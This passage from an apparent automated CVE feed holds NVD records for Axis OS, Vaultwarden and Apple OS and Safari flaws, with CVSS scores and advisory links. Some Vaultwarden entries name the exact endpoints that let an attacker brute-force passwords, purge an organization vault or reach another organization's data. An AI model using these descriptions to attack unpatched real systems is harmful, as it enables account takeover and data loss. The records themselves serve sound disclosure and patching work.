supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0804","cveId":"CVE-2026-0804","aliases":[],"kind":"vulnerability","title":"An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation.","summary":"An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.","detail":"An ACAP configuration file lacked sufficient input validation, which could allow a path traversal attack leading to potential privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T07:16:09.597Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"axis","product":"axis os","stacks":["Axis","axis os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0804","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0804","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0804","type":"primary","publishedAt":"2026-05-12T07:16:09.597Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.axis.com/dam/public/51/64/ea/cve-2026-0804pdf-en-US-530732.pdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0802","cveId":"CVE-2026-0802","aliases":[],"kind":"vulnerability","title":"An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation.","summary":"An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.","detail":"An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T07:16:09.460Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"axis","product":"axis os","stacks":["Axis","axis os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0802","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0802","type":"primary","publishedAt":"2026-05-12T07:16:09.460Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.axis.com/dam/public/67/b8/75/cve-2026-0802pdf-en-US-530731.pdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0541","cveId":"CVE-2026-0541","aliases":[],"kind":"vulnerability","title":"ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation.","summary":"ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.","detail":"ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T07:16:09.200Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"axis","product":"axis os","stacks":["Axis","axis os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0541","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0541","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0541","type":"primary","publishedAt":"2026-05-12T07:16:09.200Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.axis.com/dam/public/fa/50/c7/cve-2026-0541pdf-en-US-530730.pdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43914","cveId":"CVE-2026-43914","aliases":[],"kind":"vulnerability","title":"Vaultwarden is a Bitwarden-compatible server written in Rust.","summary":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.4, there is a security vulnerability in Vaultwarden that allows bypassing the login brute-force protection if email 2fa is enabled. If email 2fa is enabled, the unprotected 2fa-function send_email_login (email.rs, api endpoint /api/two-factor/send-email-login) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. This vulnerability is fixed in 1.35.4.","detail":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.4, there is a security vulnerability in Vaultwarden that allows bypassing the login brute-force protection if email 2fa is enabled. If email 2fa is enabled, the unprotected 2fa-function send_email_login (email.rs, api endpoint /api/two-factor/send-email-login) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. This vulnerability is fixed in 1.35.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:22.253Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dani-garcia","product":"vaultwarden","stacks":["Dani-garcia","vaultwarden"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43914","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43914","type":"primary","publishedAt":"2026-05-11T23:20:22.253Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-c5rv-q295-7w4g","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43913","cveId":"CVE-2026-43913","aliases":[],"kind":"vulnerability","title":"Vaultwarden is a Bitwarden-compatible server written in Rust.","summary":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization,\ncausing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.","detail":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization,\ncausing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:22.120Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dani-garcia","product":"vaultwarden","stacks":["Dani-garcia","vaultwarden"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43913","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43913","type":"primary","publishedAt":"2026-05-11T23:20:22.120Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-937x-3j8m-7w7p","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43912","cveId":"CVE-2026-43912","aliases":[],"kind":"vulnerability","title":"Vaultwarden is a Bitwarden-compatible server written in Rust.","summary":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groups_users.users_organizations_uuid entry belongs to the same organization as groups.groups_uuid, or a collections_groups.collections_uuid entry belongs to the same organization as collections_groups.groups_uuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.","detail":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groups_users.users_organizations_uuid entry belongs to the same organization as groups.groups_uuid, or a collections_groups.collections_uuid entry belongs to the same organization as collections_groups.groups_uuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:21.980Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dani-garcia","product":"vaultwarden","stacks":["Dani-garcia","vaultwarden"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43912","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43912","type":"primary","publishedAt":"2026-05-11T23:20:21.980Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-569v-845w-g82p","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43911","cveId":"CVE-2026-43911","aliases":[],"kind":"vulnerability","title":"Vaultwarden is a Bitwarden-compatible server written in Rust.","summary":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's security_stamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5.","detail":"Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's security_stamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:21.837Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dani-garcia","product":"vaultwarden","stacks":["Dani-garcia","vaultwarden"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43911","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43911","type":"primary","publishedAt":"2026-05-11T23:20:21.837Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-6j4w-g4jh-xjfx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43661","cveId":"CVE-2026-43661","aliases":[],"kind":"vulnerability","title":"A buffer overflow issue was addressed with improved memory handling.","summary":"A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, iOS 26.7 and iPadOS 26.7, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.","detail":"A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, iOS 26.7 and iPadOS 26.7, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:01.823Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43661","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43661","type":"primary","publishedAt":"2026-05-11T21:19:01.823Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43660","cveId":"CVE-2026-43660","aliases":[],"kind":"vulnerability","title":"A validation issue was addressed with improved logic.","summary":"A validation issue was addressed with improved logic. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.","detail":"A validation issue was addressed with improved logic. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:01.720Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43660","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43660","type":"primary","publishedAt":"2026-05-11T21:19:01.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43658","cveId":"CVE-2026-43658","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.10 and iPadOS 18.7.10, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:01.487Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43658","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43658","type":"primary","publishedAt":"2026-05-11T21:19:01.487Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43656","cveId":"CVE-2026-43656","aliases":[],"kind":"vulnerability","title":"An out-of-bounds write issue was addressed with improved input validation.","summary":"An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Parsing a maliciously crafted file may lead to an unexpected app termination.","detail":"An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Parsing a maliciously crafted file may lead to an unexpected app termination.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:01.380Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43656","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43656","type":"primary","publishedAt":"2026-05-11T21:19:01.380Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43655","cveId":"CVE-2026-43655","aliases":[],"kind":"vulnerability","title":"An out-of-bounds read was addressed with improved bounds checking.","summary":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination or read kernel memory.","detail":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to cause unexpected system termination or read kernel memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 